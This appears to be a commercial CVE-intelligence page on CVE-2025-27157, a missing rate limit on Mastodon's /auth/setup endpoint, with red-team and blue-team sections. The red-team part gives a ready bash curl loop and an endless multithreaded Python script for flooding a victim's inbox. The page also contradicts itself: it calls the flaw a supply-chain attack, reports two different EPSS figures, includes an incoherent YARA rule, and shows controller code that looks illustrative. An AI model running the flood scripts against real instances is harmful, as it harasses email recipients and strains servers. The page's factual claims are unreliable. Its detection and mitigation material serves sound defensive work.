☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-27157

CVE-2025-27157 Supply Chain Attack in Mastodon
📅 PUBLISHED: 2025-02-27 17:12 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.37%
👁️
0.37% probability
9.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27157 is a missing rate limiting vulnerability in Mastodon, a self-hosted, federated microblogging platform. The vulnerability affects the /auth/setup endpoint, allowing an unauthenticated attacker to send arbitrary emails to any address by crafting requests without rate limits. This can be abused for email flooding, spam campaigns, or phishing attacks. The CVSS score is 5.3 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood currently. The issue is patched in versions 4.2.16 and 4.3.4.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Mastodon is a Ruby on Rails application distributed via GitHub and Docker. The vulnerability is in the application code, not in a package dependency. However, administrators should verify their deployment source (e.g., Docker images, Git tags) to ensure they are using a patched version.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L) – email spoofing/flooding
  • Availability Impact: None (A:N)

Threat Level: Medium. While the vulnerability does not allow data exfiltration or system compromise, it can be used for social engineering, spam, or denial-of-service via email flooding.

Deep Dive & Mechanics

The /auth/setup endpoint in Mastodon is used for initial account setup and password reset flows. In vulnerable versions (4.2.0 to 4.2.15 and 4.3.0 to 4.3.3), this endpoint lacks rate limiting, meaning an attacker can send unlimited requests to trigger email dispatches.

Attack Flow:

  1. Attacker identifies a Mastodon instance (e.g., via Shodan or manual discovery).
  2. Attacker sends repeated POST requests to /auth/setup with a target email address.
  3. The server processes each request and sends an email (e.g., confirmation or password reset) to the specified address.
  4. The target email inbox is flooded, potentially causing denial-of-service or masking malicious emails.

Root Cause: The controller action for /auth/setup does not implement any throttling or rate limiting middleware, unlike other authentication endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (Rails controller):

# app/controllers/auth/setup_controller.rb (vulnerable)
class Auth::SetupController < ApplicationController
  def create
    # No rate limiting
    user = User.find_by(email: params[:email])
    if user
      UserMailer.confirmation_instructions(user).deliver_later
    end
    # ...
  end
end

Patched Code:

# app/controllers/auth/setup_controller.rb (patched)
class Auth::SetupController < ApplicationController
  before_action :check_rate_limit, only: [:create]

  def create
    user = User.find_by(email: params[:email])
    if user
      UserMailer.confirmation_instructions(user).deliver_later
    end
    # ...
  end

  private

  def check_rate_limit
    # Implement rate limiting using rack-attack or similar
    if request.env['rack.attack.throttle']&.key?('auth/setup')
      render json: { error: 'Rate limit exceeded' }, status: :too_many_requests
    end
  end
end

Key Difference: The patched version adds a before_action that checks rate limits before processing the request.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable Mastodon instance (version 4.2.0-4.2.15 or 4.3.0-4.3.3).
  • Target email address.

Exploitation Steps:

  1. Identify the Mastodon instance URL (e.g., https://mastodon.example.com).
  2. Send repeated POST requests to /auth/setup with the target email.

Example using cURL:

#!/bin/bash
TARGET_URL="https://mastodon.example.com"
EMAIL="victim@example.com"
for i in {1..100}; do
  curl -X POST "$TARGET_URL/auth/setup" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"$EMAIL\"}"
done

Python script:

import requests
import threading

TARGET_URL = "https://mastodon.example.com"
EMAIL = "victim@example.com"

def send_request():
    while True:
        try:
            requests.post(f"{TARGET_URL}/auth/setup", json={"email": EMAIL})
        except:
            pass

threads = []
for _ in range(10):
    t = threading.Thread(target=send_request)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

Blue Team (Defensive)

Detection:

  • Monitor for high volumes of POST requests to /auth/setup from a single IP.
  • Alert on email sending spikes from the Mastodon server.

Mitigation:

  • Apply the patch immediately (upgrade to 4.2.16 or 4.3.4).
  • Implement rate limiting at the reverse proxy (e.g., Nginx, Apache) as a temporary workaround.

Nginx rate limiting example:

limit_req_zone $binary_remote_addr zone=mastodon_setup:10m rate=1r/s;

server {
    location /auth/setup {
        limit_req zone=mastodon_setup burst=5 nodelay;
        proxy_pass http://mastodon_backend;
    }
}

Indicators of Compromise (IOCs)

  • Network IOCs:

    • High frequency of POST requests to /auth/setup from a single IP.
    • Unusual email sending patterns from the Mastodon server (e.g., thousands of emails to the same address).
  • Log IOCs:

    • Repeated entries in Rails logs: Started POST "/auth/setup" from the same IP.
    • Mailer logs showing multiple deliveries to the same recipient.
  • File IOCs:

    • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_27157_Mastodon_Rate_Limit_Missing {
    meta:
        description = "Detects missing rate limiting on /auth/setup in Mastodon"
        author = "Valters IT"
        date = "2025-03-01"
        cve = "CVE-2025-27157"
    strings:
        $s1 = "/auth/setup" nocase
        $s2 = "UserMailer.confirmation_instructions" nocase
        $s3 = "deliver_later" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-27157 - Mastodon /auth/setup Rate Limit Abuse
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects high volume of POST requests to /auth/setup from a single IP
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        http_method: POST
        url_path: /auth/setup
    condition: selection | count() by src_ip > 100 within 1m
falsepositives:
    - Legitimate user retries
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27157 - Mastodon /auth/setup Rate Limit Abuse"; flow:to_server; http.method; content:"POST"; http.uri; content:"/auth/setup"; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Mastodon to version 4.2.16 or 4.3.4.
  2. If immediate upgrade is not possible, implement rate limiting at the reverse proxy (Nginx/Apache) as shown above.

Long-term Measures:

  • Enable rate limiting on all authentication endpoints.
  • Monitor email sending patterns and set up alerts for anomalies.
  • Conduct regular security audits of Rails controllers for missing rate limits.

Patch Verification:

  • Check the version in the Mastodon admin panel or via git log:
git log --oneline | grep "4.2.16\|4.3.4"

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27157/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.